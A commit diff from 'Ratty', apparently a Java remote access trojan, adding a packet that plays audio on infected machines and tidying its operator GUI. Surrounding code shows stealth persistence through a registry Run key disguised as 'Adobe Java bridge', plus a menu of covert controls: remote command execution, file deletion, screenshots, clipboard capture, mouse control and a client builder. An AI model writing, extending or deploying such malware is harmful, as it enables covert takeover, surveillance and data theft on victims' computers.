Browse Source

Major changes

Added AudioPacket class
Cleanups
master
Sogomn 9 years ago
parent
commit
d97a7da911
  1. BIN
      Ratty/res/menu_icons.png
  2. 6
      Ratty/src/de/sogomn/rat/Ratty.java
  3. 47
      Ratty/src/de/sogomn/rat/packet/AudioPacket.java
  4. 7
      Ratty/src/de/sogomn/rat/packet/PacketType.java
  5. 21
      Ratty/src/de/sogomn/rat/server/gui/RattyGui.java
  6. 28
      Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

BIN
Ratty/res/menu_icons.png

Before

Width: 96  |  Height: 96  |  Size: 893 B

After

Width: 128  |  Height: 96  |  Size: 981 B

6
Ratty/src/de/sogomn/rat/Ratty.java

@ -33,7 +33,7 @@ public final class Ratty {
private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + STARTUP_FOLDER_NAME + File.separator + STARTUP_FILE_NAME; private static final String STARTUP_FILE_PATH = System.getenv("APPDATA") + File.separator + STARTUP_FOLDER_NAME + File.separator + STARTUP_FILE_NAME;
private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\""; private static final String REGISTRY_COMMAND = "REG ADD HKCU\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run /v \"Adobe Java bridge\" /d \"" + STARTUP_FILE_PATH + "\"";
public static final String VERSION = "1.0";
public static final String VERSION = "1.1";
private Ratty() { private Ratty() {
//... //...
@ -121,10 +121,10 @@ public final class Ratty {
if (input == JOptionPane.YES_OPTION) { if (input == JOptionPane.YES_OPTION) {
System.out.println("Server"); System.out.println("Server");
startServer(23456);
startServer(56673);
} else if (input == JOptionPane.NO_OPTION) { } else if (input == JOptionPane.NO_OPTION) {
System.out.println("Client"); System.out.println("Client");
connectToHost("localhost", 23456);
connectToHost("localhost", 56673);
} }
} else if (client) { } else if (client) {
addToStartup(); addToStartup();

47
Ratty/src/de/sogomn/rat/packet/AudioPacket.java

@ -0,0 +1,47 @@
package de.sogomn.rat.packet;
import java.io.File;
import de.sogomn.engine.fx.Sound;
import de.sogomn.engine.util.FileUtils;
import de.sogomn.rat.ActiveClient;
public final class AudioPacket implements IPacket {
private byte[] data;
public AudioPacket(final File file) {
data = FileUtils.readExternalData(file);
}
public AudioPacket(final String path) {
data = FileUtils.readExternalData(path);
}
public AudioPacket() {
data = new byte[0];
}
@Override
public void send(final ActiveClient client) {
client.writeInt(data.length);
client.write(data);
}
@Override
public void receive(final ActiveClient client) {
final int length = client.readInt();
data = new byte[length];
client.read(data);
}
@Override
public void execute(final ActiveClient client) {
final Sound sound = Sound.loadSound(data);
sound.play();
}
}

7
Ratty/src/de/sogomn/rat/packet/PacketType.java

@ -1,6 +1,8 @@
package de.sogomn.rat.packet; package de.sogomn.rat.packet;
/*
* SHOW ME A BETTER METHOD TO DO THIS
*/
public enum PacketType { public enum PacketType {
POPUP(1, PopupPacket.class), POPUP(1, PopupPacket.class),
@ -19,7 +21,8 @@ public enum PacketType {
DELETE(14, DeleteFilePacket.class), DELETE(14, DeleteFilePacket.class),
MOUSE_EVENT(15, MouseEventPacket.class), MOUSE_EVENT(15, MouseEventPacket.class),
VOICE(16, VoicePacket.class), VOICE(16, VoicePacket.class),
WEBSITE(17, WebsitePacket.class);
WEBSITE(17, WebsitePacket.class),
AUDIO(18, AudioPacket.class);
public final byte id; public final byte id;
public final Class<? extends IPacket> clazz; public final Class<? extends IPacket> clazz;

21
Ratty/src/de/sogomn/rat/server/gui/RattyGui.java

@ -8,9 +8,9 @@ import java.awt.event.ActionEvent;
import java.awt.event.MouseAdapter; import java.awt.event.MouseAdapter;
import java.awt.event.MouseEvent; import java.awt.event.MouseEvent;
import java.awt.image.BufferedImage; import java.awt.image.BufferedImage;
import java.util.ArrayList;
import java.util.Arrays;
import java.util.List;
import javax.swing.Icon;
import javax.swing.ImageIcon; import javax.swing.ImageIcon;
import javax.swing.JButton; import javax.swing.JButton;
import javax.swing.JFrame; import javax.swing.JFrame;
@ -44,7 +44,7 @@ public final class RattyGui {
private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64); private static final BufferedImage GUI_ICON_MEDIUM = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 64, 64);
private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128); private static final BufferedImage GUI_ICON_LARGE = ImageUtils.scaleImage(ImageUtils.loadImage("/gui_icon.png"), 128, 128);
private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 32, 32).getSprites(); private static final BufferedImage[] MENU_ICONS = new SpriteSheet("/menu_icons.png", 32, 32).getSprites();
private static final ArrayList<BufferedImage> GUI_ICONS = new ArrayList<BufferedImage>(3);
private static final List<BufferedImage> GUI_ICONS = Arrays.asList(GUI_ICON_SMALL, GUI_ICON_MEDIUM, GUI_ICON_LARGE);
public static final String POPUP = "Open popup"; public static final String POPUP = "Open popup";
public static final String SCREENSHOT = "Take screenshot"; public static final String SCREENSHOT = "Take screenshot";
@ -54,6 +54,7 @@ public final class RattyGui {
public static final String COMMAND = "Execute command"; public static final String COMMAND = "Execute command";
public static final String CLIPBOARD = "Get clipboard content"; public static final String CLIPBOARD = "Get clipboard content";
public static final String WEBSITE = "Open website"; public static final String WEBSITE = "Open website";
public static final String AUDIO = "Play audio";
public static final String FREE = "Free client"; public static final String FREE = "Free client";
public static final String BUILD = "Client builder"; public static final String BUILD = "Client builder";
@ -65,16 +66,11 @@ public final class RattyGui {
FILES, FILES,
COMMAND, COMMAND,
CLIPBOARD, CLIPBOARD,
AUDIO,
WEBSITE, WEBSITE,
FREE FREE
}; };
static {
GUI_ICONS.add(GUI_ICON_SMALL);
GUI_ICONS.add(GUI_ICON_MEDIUM);
GUI_ICONS.add(GUI_ICON_LARGE);
}
public RattyGui() { public RattyGui() {
frame = new JFrame(); frame = new JFrame();
table = new JTable(); table = new JTable();
@ -86,9 +82,9 @@ public final class RattyGui {
for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) { for (int i = 0; i < COMMANDS.length && i < MENU_ICONS.length; i++) {
final String command = COMMANDS[i]; final String command = COMMANDS[i];
final ImageIcon icon = new ImageIcon(MENU_ICONS[i]);
final BufferedImage image = MENU_ICONS[i];
addMenuItem(command, icon);
addMenuItem(command, image);
} }
final Container container = frame.getContentPane(); final Container container = frame.getContentPane();
@ -122,8 +118,9 @@ public final class RattyGui {
frame.requestFocus(); frame.requestFocus();
} }
private void addMenuItem(final String name, final Icon icon) {
private void addMenuItem(final String name, final BufferedImage image) {
final JMenuItem item = new JMenuItem(name); final JMenuItem item = new JMenuItem(name);
final ImageIcon icon = new ImageIcon(image);
item.setActionCommand(name); item.setActionCommand(name);
item.addActionListener(this::actionPerformed); item.addActionListener(this::actionPerformed);

28
Ratty/src/de/sogomn/rat/server/gui/RattyGuiController.java

@ -6,12 +6,14 @@ import java.util.ArrayList;
import javax.swing.JFileChooser; import javax.swing.JFileChooser;
import javax.swing.JOptionPane; import javax.swing.JOptionPane;
import javax.swing.filechooser.FileNameExtensionFilter;
import de.sogomn.engine.fx.ISoundListener; import de.sogomn.engine.fx.ISoundListener;
import de.sogomn.engine.fx.Sound; import de.sogomn.engine.fx.Sound;
import de.sogomn.rat.ActiveClient; import de.sogomn.rat.ActiveClient;
import de.sogomn.rat.IClientObserver; import de.sogomn.rat.IClientObserver;
import de.sogomn.rat.builder.StubBuilder; import de.sogomn.rat.builder.StubBuilder;
import de.sogomn.rat.packet.AudioPacket;
import de.sogomn.rat.packet.ClipboardPacket; import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.CommandPacket; import de.sogomn.rat.packet.CommandPacket;
import de.sogomn.rat.packet.CreateFolderPacket; import de.sogomn.rat.packet.CreateFolderPacket;
@ -51,6 +53,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
fileChooser = new JFileChooser(); fileChooser = new JFileChooser();
clients = new ArrayList<ServerClient>(); clients = new ArrayList<ServerClient>();
final String currentDirectoryPath = System.getProperty("user.dir");
final File currentDirectory = new File(currentDirectoryPath);
fileChooser.setCurrentDirectory(currentDirectory);
gui.setController(this); gui.setController(this);
} }
@ -64,7 +70,17 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return null; return null;
} }
private File chooseFile() {
private File chooseFile(final String fileType) {
final FileNameExtensionFilter filter;
if (fileType != null) {
filter = new FileNameExtensionFilter("*." + fileType, fileType);
} else {
filter = null;
}
fileChooser.setFileFilter(filter);
final int input = fileChooser.showOpenDialog(null); final int input = fileChooser.showOpenDialog(null);
if (input == JFileChooser.APPROVE_OPTION) { if (input == JFileChooser.APPROVE_OPTION) {
@ -74,6 +90,10 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
return null; return null;
} }
private File chooseFile() {
return chooseFile(null);
}
private IPacket getPacket(final String command, final ServerClient serverClient) { private IPacket getPacket(final String command, final ServerClient serverClient) {
IPacket packet = null; IPacket packet = null;
@ -165,6 +185,12 @@ public final class RattyGuiController implements IServerObserver, IClientObserve
if (input != null && !input.isEmpty()) { if (input != null && !input.isEmpty()) {
packet = new WebsitePacket(input); packet = new WebsitePacket(input);
} }
} else if (command == RattyGui.AUDIO) {
final File file = chooseFile("wav");
if (file != null) {
packet = new AudioPacket(file);
}
} }
return packet; return packet;

Loading…
Cancel
Save